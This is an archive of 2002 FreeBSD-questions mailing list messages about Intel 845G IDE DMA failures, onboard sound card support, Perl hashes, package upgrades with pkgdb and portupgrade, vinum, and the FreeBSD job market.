<http://www.google.com/linux>  at search for 845G like hdparm -d1 /dev/hda ;
dma enable failed assuming idebus 33 mhz, things like this.Well if you find
that in bsd 4.6.1 the problem is fixed pls email me, to know if i can use
it. tnx. Also i searched on many distro pages to see if they have somehow
suport suport for this chipset and didn't found any result...  thought they
modyfied the kernel a little bit like RH adding a little more suport than
the original 2.4.18 kenrel . but i still wonder why ?! windows XP one year
old didn't made any problems!? do he haves a better written kernel.
 
        Goodbye,
            Diablo Rojo[eXistenZ]
 

----- Original Message ----- 
From: Craig Williamson (ENZ) <mailto:craig.williamson@ericsson.co.nz>  
To: 'Diablo Rojo' <mailto:diablo_rojo@rol.ro>  
Cc: freebsd-questions@FreeBSD.ORG <mailto:freebsd-questions@FreeBSD.ORG>  
Sent: Wednesday, July 31, 2002 1:51 AM
Subject: RE: i read a list of ATA ...

Hello Diablo
 
First of all, its best if you sent it to the entire mailing list, not just
one person.  That way you can get more input for your problem.  I've
forwarded it so you can get more responses.
 
Redhat 7.3 uses the Linux 2.4.18 kernel by default.  With RedHat did you
compile a new kernel or use the default one?  The same applies for FreeBSD.
Did you use the default kernel or did you compile your own.  If you have
tried these, the hardware maybe too new for the OSes.  Then I would suggest
waiting until the next FreeBSD (4.7/5.0?) comes out and try that (same with
Linux)
 
Hope that this helps.

-----Original Message-----
From: Diablo Rojo [mailto:diablo_rojo@rol.ro]
Sent: Wednesday, 31 July 2002 10:35 a.m.
To: Craig Williamson (ENZ)
Subject: i read a list of ATA ...


will bsd know my chipset and WDC 120 GB hard-disk and work at full speed not
at 16 mb\s at was written on a document for unknown chipsets , my chipset is
845G and motherboard is http://www.intel.com/design/motherbd/bv/
<http://www.intel.com/design/motherbd/bv/> 
    will bsd know this hardware and will work at least well, because a linux
distro didn't knewed it [rh73 ] which is a few month old and had 2mb\s
transfer


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<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=157021600-31072002>Hi 
Again,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=157021600-31072002></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=157021600-31072002>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
The reason why Microsoft software has better support for your hardware is 
because they have a lot more support from the hardware manufacturers.&nbsp; You 
have to realise that MS may dictate what the ATA133 would look like and they 
right their kernel because of that.&nbsp; Alternatively, Intel&nbsp;could send 
MS the specs for the 845G so that MS&nbsp;has the support for it when the 
chipset is released.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=157021600-31072002></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=157021600-31072002>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
It is no fault of the developers that certain aspects of newer hardware won't 
work correctly.&nbsp; They just have to figure out how the chipset works and 
program the kernel accordingly.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=157021600-31072002></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=157021600-31072002>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
A good test of this would be to load Windows95 (or even&nbsp;MS-DOS) onto it and 
see if the hardware gets picked up from that.&nbsp; Hope this 
helps.</SPAN></FONT></DIV>
<BLOCKQUOTE dir=ltr style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Diablo Rojo 
  [mailto:diablo_rojo@rol.ro]<BR><B>Sent:</B> Wednesday, 31 July 2002 11:08 
  a.m.<BR><B>To:</B> Craig Williamson (ENZ)<BR><B>Subject:</B> Re: i read a list 
  of ATA ...<BR><BR></DIV></FONT>
  <DIV><FONT face=Arial size=2>Well i were thinking that but weren't sure, i 
  used redhat default 2.4.18-3 kernel and didn't worked.</FONT></DIV>
  <DIV><FONT face=Arial size=2>Tnx for forwarding this email, also i still seen 
  before the return of your email many reports the same problem it gives me at 
  <A href="http://www.google.com/linux">www.google.com/linux</A> at search for 
  845G like hdparm -d1 /dev/hda ; dma enable failed assuming idebus 33 mhz, 
  things like this.Well if you find that in bsd 4.6.1 the problem is fixed pls 
  email me, to know if i can use it. tnx. Also i searched on many distro pages 
  to see if they have somehow suport suport for this chipset and didn't found 
  any result...&nbsp; thought they modyfied the kernel a little bit like RH 
  adding a little more suport than the original 2.4.18 kenrel . but i still 
  wonder why ?! windows XP one year old didn't made any problems!? do he haves a 
  better written kernel.</FONT></DIV>
  <DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 
  Goodbye,</FONT></DIV>
  <DIV><FONT face=Arial size=2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 
  &nbsp;&nbsp;&nbsp; Diablo Rojo[eXistenZ]</FONT></DIV>
  <DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
  <BLOCKQUOTE dir=ltr 
  style="BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
    <DIV style="FONT: 10pt arial">----- Original Message ----- </DIV>
    <DIV 
    style="BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: black"><B>From:</B> 
    <A href="mailto:craig.williamson@ericsson.co.nz" 
    title=craig.williamson@ericsson.co.nz>Craig Williamson (ENZ)</A> </DIV>
    <DIV style="FONT: 10pt arial"><B>To:</B> <A href="mailto:diablo_rojo@rol.ro" 
    title=diablo_rojo@rol.ro>'Diablo Rojo'</A> </DIV>
    <DIV style="FONT: 10pt arial"><B>Cc:</B> <A 
    href="mailto:freebsd-questions@FreeBSD.ORG" 
    title=freebsd-questions@FreeBSD.ORG>freebsd-questions@FreeBSD.ORG</A> </DIV>
    <DIV style="FONT: 10pt arial"><B>Sent:</B> Wednesday, July 31, 2002 1:51 
    AM</DIV>
    <DIV style="FONT: 10pt arial"><B>Subject:</B> RE: i read a list of ATA 
    ...</DIV>
    <DIV><BR></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
    class=313383922-30072002>Hello Diablo</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
    class=313383922-30072002></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
    class=313383922-30072002>First of all, its best if you sent it to the entire 
    mailing list, not just one person.&nbsp; That way you can get more input for 
    your problem.&nbsp; I've forwarded it so you can get more 
    responses.</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
    class=313383922-30072002></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
    class=313383922-30072002>Redhat 7.3 uses the Linux 2.4.18 kernel by 
    default.&nbsp; With RedHat did you compile a new kernel or use the default 
    one?&nbsp; The same applies for FreeBSD.&nbsp; Did you use the default 
    kernel or did you compile your own.&nbsp; If you have tried these, the 
    hardware maybe too new for the OSes.&nbsp; Then I would suggest waiting 
    until the next FreeBSD (4.7/5.0?) comes out and try that (same with 
    Linux)</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
    class=313383922-30072002></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
    class=313383922-30072002>Hope that this helps.</SPAN></FONT></DIV>
    <BLOCKQUOTE style="MARGIN-RIGHT: 0px">
      <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
      size=2>-----Original Message-----<BR><B>From:</B> Diablo Rojo 
      [mailto:diablo_rojo@rol.ro]<BR><B>Sent:</B> Wednesday, 31 July 2002 10:35 
      a.m.<BR><B>To:</B> Craig Williamson (ENZ)<BR><B>Subject:</B> i read a list 
      of ATA ...<BR><BR></DIV></FONT>
      <DIV><FONT face=Arial size=2>will bsd know my chipset and WDC 120 GB 
      hard-disk and work at full speed not at 16 mb\s at was written on a 
      document for unknown chipsets , my chipset is 845G and motherboard is <A 
      href="http://www.intel.com/design/motherbd/bv/">http://www.intel.com/design/motherbd/bv/</A></FONT></DIV>
      <DIV><FONT face=Arial size=2>&nbsp;&nbsp;&nbsp; will bsd know this 
      hardware and will work at least well, because a linux distro didn't knewed 
      it [rh73 ] which is a few month old and had 2mb\s 
    transfer</FONT></DIV></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

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From owner-freebsd-questions  Tue Jul 30 17:28:55 2002
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From: Greg 'groggy' Lehey <grog@FreeBSD.org>
To: Jacob Rhoden <jrhoden@unimelb.edu.au>
Cc: freebsd-questions@freebsd.org
Subject: Re: sound card on intel motherboard
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On Tuesday, 30 July 2002 at 10:12:22 +1000, Jacob Rhoden wrote:
> Hi,
>
> I have an intel motherboard, with an on-board sound card. I want to
> switch to FreeBSD on this machine but cant uness I can get the sound
> card to work *Sigh* (isnt recognised at boot time in almost every
> sort of possible kernel config I have tried) Has anyone here had to
> do this before, and had it work successfully? (I suspect it isn't
> supported)

Well, if you don't give us any details, you won't get any answers.
What does the docco say?

Greg
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From owner-freebsd-questions  Tue Jul 30 17:28:58 2002
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From: Orion Hodson <orion@freebsd.org>
To: Jacob Rhoden <jrhoden@unimelb.edu.au>
Cc: freebsd-questions@freebsd.org
Subject: sound card on intel motherboard
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Jacob writes:
> I have an intel motherboard, with an on-board sound card. I want to switch 
> to FreeBSD on this machine but cant uness I can get the sound card to work 
> *Sigh* (isnt recognised at boot time in almost every sort of possible 
> kernel config I have tried) Has anyone here had to do this before, and had 
> it work successfully? (I suspect it isn't supported)

If it's an ich motherboard, then drivers exist in FreeBSD.  If you don't post 
any details about the board it's hard to give a precise answer.  Do you have a 
dmesg or a pointer to the motherboard specs?

-- Orion


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To: "'Diablo Rojo'" <diablo_rojo@rol.ro>
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Subject: RE: k, here is ther error
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This could be either 1 of two things.  DMA could be enabled in the kernel,
but is conflicting with the hardware.  Or DMA is not enabled in the kernel.
Check your kernel config, and see whether DMA is either enabled or disabled.
If it is enabled, disable it (or vice versa) and recompile the kernel.  Try
that and see how it goes.
 
Craig

-----Original Message-----
From: Diablo Rojo [mailto:diablo_rojo@rol.ro]
Sent: Wednesday, 31 July 2002 11:14 a.m.
To: Craig Williamson (ENZ)
Subject: k, here is ther error


for my 845G
 
If I run hdparm -d1 /dev/hd(a or c), 
I now get: 


HDIO_SET_DMA failed: Operation not permitted 



Here is a snippet from dmesg: 



ide: Assuming 33MHz system bus speed for PIO modes; 
override with idebus=xx 
PCI_IDE: unknown IDE controller on PCI bus 00 device 
f9, VID=8086, DID=24cb 
PCI: Device 00:1f.1 not available because of resource 
collisions 
PCI_IDE: (ide_setup_pci_device:) Could not enable 
device. 



Here is some lspci 



00:00.0 Host bridge: Intel Corp.: Unknown device 2560 (rev 01) 
00:01.0 PCI bridge: Intel Corp.: Unknown device 2561 (rev 01) 
00:1d.0 USB Controller: Intel Corp.: Unknown device 24c2 (rev 01) 
00:1d.1 USB Controller: Intel Corp.: Unknown device 24c4 (rev 01) 
00:1d.2 USB Controller: Intel Corp.: Unknown device 24c7 (rev 01) 
00:1e.0 PCI bridge: Intel Corp. 82801BA/CA PCI Bridge (rev 81) 
00:1f.0 ISA bridge: Intel Corp.: Unknown device 24c0 (rev 01) 
00:1f.1 IDE interface: Intel Corp.: Unknown device 24cb (rev 01) 



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<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=595422400-31072002>This 
could be either 1 of two things.&nbsp; DMA could be enabled in the kernel, but 
is conflicting with the hardware.&nbsp; Or DMA is not enabled in the 
kernel.&nbsp; Check your kernel config, and see whether DMA is either enabled or 
disabled.&nbsp; If it is enabled, disable it (or vice versa) and recompile the 
kernel.&nbsp; Try that and see how it goes.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=595422400-31072002></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=595422400-31072002>Craig</SPAN></FONT></DIV>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Diablo Rojo 
  [mailto:diablo_rojo@rol.ro]<BR><B>Sent:</B> Wednesday, 31 July 2002 11:14 
  a.m.<BR><B>To:</B> Craig Williamson (ENZ)<BR><B>Subject:</B> k, here is ther 
  error<BR><BR></DIV></FONT>
  <DIV><FONT face=Arial size=2>for my 845G</FONT></DIV>
  <DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV>If I run hdparm -d1 /dev/hd(a or c), <BR>I now get: <BR>
  <P>HDIO_SET_DMA failed: Operation not permitted <BR>
  <P>Here is a snippet from dmesg: <BR>
  <P>ide: Assuming 33MHz system bus speed for PIO modes; <BR>override with 
  idebus=xx <BR>PCI_IDE: unknown IDE controller on PCI bus 00 device <BR>f9, 
  VID=8086, DID=24cb <BR>PCI: Device 00:1f.1 not available because of resource 
  <BR>collisions <BR>PCI_IDE: (ide_setup_pci_device:) Could not enable 
  <BR>device. <BR>
  <P>Here is some lspci <BR>
  <P>00:00.0 Host bridge: Intel Corp.: Unknown device 2560 (rev 01) <BR>00:01.0 
  PCI bridge: Intel Corp.: Unknown device 2561 (rev 01) <BR>00:1d.0 USB 
  Controller: Intel Corp.: Unknown device 24c2 (rev 01) <BR>00:1d.1 USB 
  Controller: Intel Corp.: Unknown device 24c4 (rev 01) <BR>00:1d.2 USB 
  Controller: Intel Corp.: Unknown device 24c7 (rev 01) <BR>00:1e.0 PCI bridge: 
  Intel Corp. 82801BA/CA PCI Bridge (rev 81) <BR>00:1f.0 ISA bridge: Intel 
  Corp.: Unknown device 24c0 (rev 01) <BR>00:1f.1 IDE interface: Intel Corp.: 
  Unknown device 24cb (rev 01) <BR></P></DIV></BLOCKQUOTE></BODY></HTML>

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From owner-freebsd-questions  Tue Jul 30 17:30:58 2002
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On Tue, 30 Jul 2002, Christopher J. Umina wrote:

> Hi all,
>
> 	I'm really stupid lately with Perl and stuff, but I got this list
> of screen names and I made it into an array in perl called @sns.  I want
> to count the amount of times each name shows up in that array and I want
> to make an array of each name in the original array, but only occuring
> once.

Use a hash. That's what they are for =0)

for $key (@sns) {
	$hash{$key}++;
}

#
# $hash{$key} says how many times $key is in @sns
#

If you want an array with the keys of the hash, just say:

@keys=keys(%hash);

Read perldata(1) for further details on hashes and arrays

Hope this helps

			Fer

>
> adarc22
> adarc22
> adarc22
> adarc22
> alldayyesterday
> alldayyesterday
> babygurl2835
> babygurl2835
> bctictac8
> bctictac8
> beth42085
> cc skillet
> ccgirl436
> ccgirl436
> devilchik205
> dublindamien
> e is happy
> e is happy
> fritzilldo
> ilaughatyourlife
> jea9f2oo3
> katsie236
> kelzy16
> lauren md 6 9
> mastahuy85
> meikman99
> meikman99
> reggie645
> reggie645
> reggie645
> reggie645
> reggie645
> reggie645
> reggie645
> russh2112
> russh2112
> sllissa85
> superman lmd 69
>
> ...is my original array but I want a new array with each name in this
> array appearing only once and count each name's occurance in an additional
> array, even a 2d array works. (if you can do that in Perl...?)
>
> Thanks a lot,
> Christopher J. Umina
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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From owner-freebsd-questions  Tue Jul 30 17:32:23 2002
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Subject: Re: Latest RELENG_4_6?
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On Tuesday, July 30, 2002, at 05:04 PM, Jeremy Faulkner wrote:

>>
>> FreeBSD 4.6.1-RELEASE #0: Mon Jul 29 01:23:31 PDT 2002
>>
>> I don't see any mention of 4.6.1 in /usr/src/UPDATING.  Have I indeed 
>> got
>> the latest version of RELENG_4_6?  I just wanted security fixes etc.  
>> I don'
>> t want any experimental stuff.
>>
>> Please reply to me offlist.  Thanks!
>>
>> --
>> Mark Edwards
>> San Francisco, CA
>
> 4.6.1 is a point release, point releases are large patch levels.

Got it.  I was confused by the fact that /usr/src/UPDATING seems a 
little behind.  What's the best way to check what the official current 
RELENG_4_6 version is?

Thanks for the help.

--
Mark Edwards
Engineer
Mr. Toad's
San Francisco, CA


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From owner-freebsd-questions  Tue Jul 30 17:46:17 2002
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On Mon, 29 Jul 2002, Dynsolve wrote:

I have no manpage for "pkgdb."  Please advise.  Thanks,

> Try pkgdb -F to fix problems with stale depencies found trying to
> upgrade via ports, as well as fixing issues where "multiple versions"
> are installed.  It will allow you to unregister them.  Optionally, you
> can manually edit your package db with a text editor, but I do not know
> enough to explain that route.  However, pkgdb -F comes in handy when you
> are using "portupgrade".
>
> After you make sure your package database is up to date, you can do a
> "portupgrade program-1.0.14_1".
>
> It will register this change to your package db.
>
> Between cvsup, pkgdb, and portupgrade, it is much easier now to make a
> massive upgrade from say 4.5R to 4.6p3, including upgrading your
> enlightenment, gnome, kde, etc., etc.
>
> "pkgdb" will come in handy big-time.  I once used pkg_delete where I
> should have just pkgdb -F then do a portupgrade on that single port.  It
> was in a case where I had multiple versions installed.  Naturally, I did
> the pkg_delete on the older of the two versions.  If you really screw up
> like I did, you'll want to just make ; make install or make deinstall ;
> make reinstall on the offending port which is causing an inability to
> install other ports.  Once the root of the problem is solved, you can be
> more sure with pkgdb and portupgrade.
>
> In particular, I had error references to Atom.h and cannot find an .so
> library.  It boiled down to the fact that I nuked some stuff related to
> my XFree86 install.  Once figuring that out, I "by hand" port upgraded
> (reinstall) XFree86 and Libraries.  Then, bouncing back and forth
> between "pkgdb -f" and "portupgrade -ra", and occasionally using
> portupgrade on a single port, I was able to upgrade to the latest
> "everything" install (latest stable kernal/X11/enlightenment/gnome w/
> kde support).
>
> Hope this helps some of you out there,
>
> Kristopher Spencer
>
> Peter Leftwich wrote:
> >On 27 Jul 2002, karl agee wrote:
> >>let's say I have two versions of a package, like acrobat reader installed.  Can I simply use pkg_delete to remove the old one w/o affecting the new one???? --karl
> > I've often wondered about this too, since with FreeBSD it doesn't seem intuitive how to upgrade and not have extra stuff around.  You know that pkg_add [-r] also installs dependencies, so I'd imagine pkg_delete would know about them.  You may want to use pkg_info first, pkg_delete the old one exactly by name, then if the one you intend to keep is harmed in any way, simply `pkg_add -rf` to re-add the package forcibly.
> > Also, if it's just a binary, sometimes it's as simple as doing a `rm -rf directory_name_here` but that might leave behind conf and .rc files and stuff in your /etc/ folder for all I know.
> > Cheers,

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Tue Jul 30 17:53:47 2002
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At 08:38 PM 30/07/2002 -0400, MET wrote:
>What book?

Im an idiot! (: I forgot to ctrl-v the book url, here it is:

   http://cvsbook.red-bean.com/cvsbook.html


  > I recently had to learn CVS really well, and found
  > a reallygreat book on the subject, it is really simple
  > (in fact too simple, I wish he didn't explain stuff so
  > simply) but at least it all makes sense. (everything
  > explained clearly from how to use it, to how to setup a file
  > 'repository').
  >
  >A happy cvs user,
  >jacob



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From owner-freebsd-questions  Tue Jul 30 17:54: 1 2002
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From: Peter Leftwich <Hostmaster@Video2Video.Com>
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To: mark tinguely <tinguely@web.cs.ndsu.nodak.edu>
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	FreeBSD LIST <FreeBSD-Questions@FreeBSD.Org>
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On Tue, 30 Jul 2002, mark tinguely wrote:
> >  Monster.Com only lists 24 jobs matching "freebsd" nationwide :(
> >  http://jobsearch.monster.com/jobsearch.asp?cy=US&re=14&brd=1&lid=&q=freebsd&sort=rv&vw=b
>
> PS to Peter Leftwich's observation. The FreeBSD and generic BSD job availabilties on the national boards have been decreasing or flat for several months.
>    I started collecting the numbers for dice, hotjob, and monster for almost every weekday since March to quantify the trends. I wish I had started spring 2001 to show the logrithmic decrease in jobs (halving about every 6 weeks).

Many (if not all) of these websites have a feature called JobAgent or
CareerFairy or something like that where the user can specify to receive
once-daily or once-weekly keyword searches via email.  I wonder if any of
these technical sites actually have a category (i.e. dropdown selection)
for OS and a choice of "BSD/FreeBSD/NetBSD/BSDI" or the like.  Hrmm.

>    You do not have to be an old-timer to remember when freebsd-jobs was exclusively job offers. Then it became a flood of "looking for work", just before the stock market tanked (for the first time). now it is dead.

Cool!  Is that a mail list too, freebsd-jobs@freebsd.org ? Or.. *was* it?

>    Our sector will take a while to recover. Use the national boards as a tool, but also use your network of contacts.
> --Mark Tinguely

I wish "we" were as popular as Linux!!  Grumble.  I tell people I use
FreeBSD and they give me a facial expression that can only be described as
their having heard that I "free-base" as in, the drogues...

Anyways - We'll get there.  FreeBSD desperately *needs* a better
/stand/sysinstall, more documentation written in a step by step manner and
including some kind of file called "Transition from User to Root/Sysadmin"
or the like.  It would go on to say things plainly, like "Familiarize
yourself with fdisk, mount, fsck, LINT, dmesg, /etc/*, and so forth..."

Also, not that I have any clue where money comes from for these projects
but computer stores could sell packets of two (2) floppies, kern.flp and
mfsroot.flp and be labelled "FreeBSD FTP-Install Diskettes for High
Bandwidth Users" or then again maybe not.  :(

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Tue Jul 30 17:56:53 2002
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From: Greg 'groggy' Lehey <grog@FreeBSD.org>
To: Rob Ellis <rob@web.ca>
Cc: freebsd-questions@freebsd.org
Subject: Re: vinum + /var ?
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On Tuesday, 30 July 2002 at 18:36:08 -0400, Rob Ellis wrote:
> when setting up a machine with vinum, is it ok to
> symlink /var to a directory on a vinum partition?

Yes.

> does anything open files on /var before vinum starts?

It shouldn't do.  Vinum starts before non-root file systems get
mounted, and that usually includes /var.

Greg
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You can do anything with FreeBSD....

Check out references on 'Dangerously Dedicated' disks.
This looks promising -
http://www.pl.freebsd.org/FAQ/FAQ114.html

It's nothing that a `ZapDisk' type utility won't fix.
--- Cherie & John Carri <cjcarri@earthlink.net> wrote:
> Hi all,
>   I had FreeBSD 4.2 installed on an old PC I use as
> an intranet web
> server in my classroom. It was the only operating
> system installed on
> that machine, and I started the FreeBSD install by
> erasing all
> partitions on the hard drive (an old Western Digital
> 4.3 Gig IDE drive),
> then using FreeBSD's sysinstall to create the
> partitions for the FreeBSD
> installation.
> 
>   For various reasons, I am now attempting to use
> this hard drive on
> another PC. The drive shows up normally in the BIOS,
> and I was able to
> install Mandrake Linux 8.2 on it with no problems;
> using a shareware
> utility called Boot It Lite, I was able to verify
> that the drive does
> contain the 4 Linux partitions I created during the
> Linux install
> (/boot, swap, /, and /home). However the PC will not
> boot from the hard
> drive. (Yes, the BIOS is set to boot from first the
> floppy, then the
> CDROM, and then the hard drive in question. Yes, the
> /boot partition is
> completely below 1 Gig to avoid any LILO issues).
> 
>  I belatedly remember reading something about
> FreeBSD being able to
> create a terminally incompatible hard drive for
> other operating systems
> - is that what has happened here, and if so, is
> there a way to fix it?
> 
>  TIA for any help on this. I'm really hoping I don't
> have to throw this
> drive away...while tiny by todays standards it's
> more than ample for the
> use I intend.
> 
> -John Carri
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of
> the message


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From owner-freebsd-questions  Tue Jul 30 18:17:46 2002
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Date: Tue, 30 Jul 2002 11:17:51 +1000
To: freebsd-questions@FreeBSD.org
From: Jacob Rhoden <jrhoden@unimelb.edu.au>
Subject: Re: sound card on intel motherboard - details
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Hi,

Here is all the information which I could find. Any ideas you guys might 
have as how to get the sound card to work would be much appreciated! 
Thanks. (Please note I have read through instructions in handbook and 
searched google for info on this and so on . . .)

The motherboard is an intel D845EPT2, specs are at:
   http://www.intel.com/design/motherbd/pt2/index.htm?iid=ipp_browse+motherbd_d845ept2&

Sound card is reported on web site to be:
   Audio subsystem for AC '97 processing using the Analog Devices AD1981A 
codec featuring SoundMAX Cadenza

/dev/sndstat says the sound is not configured:
   smyrna# cat /dev/sndstat
   cat: /dev/sndstat: Device not configured

This is the dmesg when I enable all sound devices in the kernel (have tried
all different options from LINT that I could find). I have snipped what I think
is probably not useful. I don't know about the rest.

FreeBSD 4.6-STABLE #1: Thu Jul 25 17:51:09 EST 2002
CPU: Pentium 4 (1599.96-MHz 686-class CPU)
   Origin = "GenuineIntel"  Id = 0xf12  Stepping = 2
   Features=0x3febfbff<FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CLFLUS
H,DTS,ACPI,MMX,FXSR,SSE,SSE2,SS,<b28>,ACC>
real memory  = 536084480 (523520K bytes)
avail memory = 516771840 (504660K bytes)
Preloaded elf kernel "kernel" at 0xc04b6000.
md0: Malloc disk
Using $PIR table, 10 entries at 0xc00f4670
npx0: <math processor> on motherboard
npx0: INT 16 interface
pcib0: <Intel 82845 Host to PCI bridge> on motherboard
pci0: <PCI bus> on pcib0
pcib1: <Intel 82845 PCI-PCI (AGP) bridge> at device 1.0 on pci0
pci1: <PCI bus> on pcib1
pci1: <Matrox MGA G400 AGP graphics accelerator> at 0.0 irq 11
uhci0: <UHCI (generic) USB controller> port 0xe800-0xe81f irq 11 at device 
29.0 on pci0
uhci0: (New UHCI DeviceId=0x24c28086)
  <snip usb stuff>
pci0: <USB controller> at 29.7 irq 10
pcib2: <Intel 82801BA/BAM (ICH2) Hub to PCI bridge> at device 30.0 on pci0
pci2: <PCI bus> on pcib2
ed0: <NE2000 PCI Ethernet (RealTek 8029)> port 0xdc00-0xdc1f irq 9 at 
device 2.0 on pci2
ed0: address 00:50:ba:f2:33:79, type NE2000 (16 bit)
fxp0: <Intel Pro/100 Ethernet> port 0xd880-0xd8bf mem 0xfeaff000-0xfeafffff 
irq 11 at device 8.0 on
pci2
fxp0: Ethernet address 00:03:47:2a:2f:61
inphy0: <i82562ET 10/100 media interface> on miibus0
inphy0:  10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto
isab0: <PCI to ISA bridge (vendor=8086 device=24c0)> at device 31.0 on pci0
isa0: <ISA bus> on isab0
atapci0: <Generic PCI ATA controller> port 
0xffa0-0xffaf,0-0x3,0-0x7,0-0x3,0-0x7 at device 31.1 on p
ci0
ata0: at 0x1f0 irq 14 on atapci0
ata1: at 0x170 irq 15 on atapci0
pci0: <unknown card> (vendor=0x8086, dev=0x24c3) at 31.3 irq 11
pci0: <unknown card> (vendor=0x8086, dev=0x24c5) at 31.5 irq 11
orm0: <Option ROM> at iomem 0xc0000-0xc8fff on isa0
fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0
fdc0: FIFO enabled, 8 bytes threshold
fd0: <1440-KB 3.5" drive> on fdc0 drive 0
atkbdc0: <Keyboard controller (i8042)> at port 0x60,0x64 on isa0
atkbd0: <AT Keyboard> flags 0x1 irq 1 on atkbdc0
kbd0 at atkbd0
psm0: <PS/2 Mouse> irq 12 on atkbdc0
psm0: model IntelliMouse Explorer, device ID 4
vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0
sc0: <System console> at flags 0x100 on isa0
sc0: VGA <16 virtual consoles, flags=0x300>
sio0: configured irq 4 not in bitmap of probed irqs 0
sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
sio0: type 16550A
sio1: configured irq 3 not in bitmap of probed irqs 0
sio1 at port 0x2f8-0x2ff irq 3 on isa0
sio1: type 16550A
ppc0: <Parallel port> at port 0x378-0x37f irq 7 on isa0
ppc0: Generic chipset (EPP/NIBBLE) in COMPATIBLE mode
plip0: <PLIP network interface> on ppbus0
lpt0: <Printer> on ppbus0
lpt0: Interrupt-driven port
ppi0: <Parallel I/O> on ppbus0
sb_reset_dsp failed
sb_reset_dsp failed
awe0 at port 0x620 on isa0
AWE32: not detected
awe0: driver is using old-style compatability shims
Checking for GUS Plug-n-Play ...
No Plug-n-Play devices were found
oops I didnt find gus
unknown: <PNP0000> can't assign resources
unknown: <PNP0501> can't assign resources
unknown: <PNP0501> can't assign resources
unknown: <PNP0700> can't assign resources
unknown: <PNP0400> can't assign resources
unknown: <PNP0c02> can't assign resources
unknown: <PNP0303> can't assign resources
unknown: <PNP0f13> can't assign resources
IP packet filtering initialized, divert disabled, rule-based forwarding 
enabled, default to accept,
unlimited logging
ad0: 76319MB <ST380021A> [155061/16/63] at ata0-master BIOSDMA
acd0: CD-RW <CD-RW 24X10X40> at ata0-slave PIO4
acd1: MODE_SENSE_BIG command timeout - resetting
ata1: resetting devices .. done
  <snip cd stuff>
acd1: MODE_SENSE_BIG command timeout - resetting
ata1: resetting devices .. done
acd1: CDROM <SONY CD-ROM CDU523 1> at ata1-master PIO4
Mounting root from ufs:/dev/ad0s2a



_______________________________________________________
Jacob Rhoden            Phone: +61 3 9844 6102
ITS Division            Email: jrhoden@unimelb.edu.au
Melbourne University   Mobile: +61 403 788 386


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From owner-freebsd-questions  Tue Jul 30 18:21:45 2002
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Date: Mon, 29 Jul 2002 17:51:47 -0700
From: Dale Morris <dlm@well.com>
To: freebsd-questions@FreeBSD.ORG
Subject: AC97
Message-ID: <20020730005147.GA7791@well.com>
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Apologies if this comes through twice, it's not showing up on the list..

I'm trying to get my sound card working in a new install of 4.6 and it's
an onboard chip on a MSI 6309 LE2 mainboard. I've read the handbook and
I'm still confused about how to get this card working.

Can I just insert the proper module by doing:

root# kldload AC97**module.so (or whatever module(s) need to be loaded

or do I have to reconfigure the kernel? It seems it should function
under the soundblaster pcm module, but I'm not having much success.

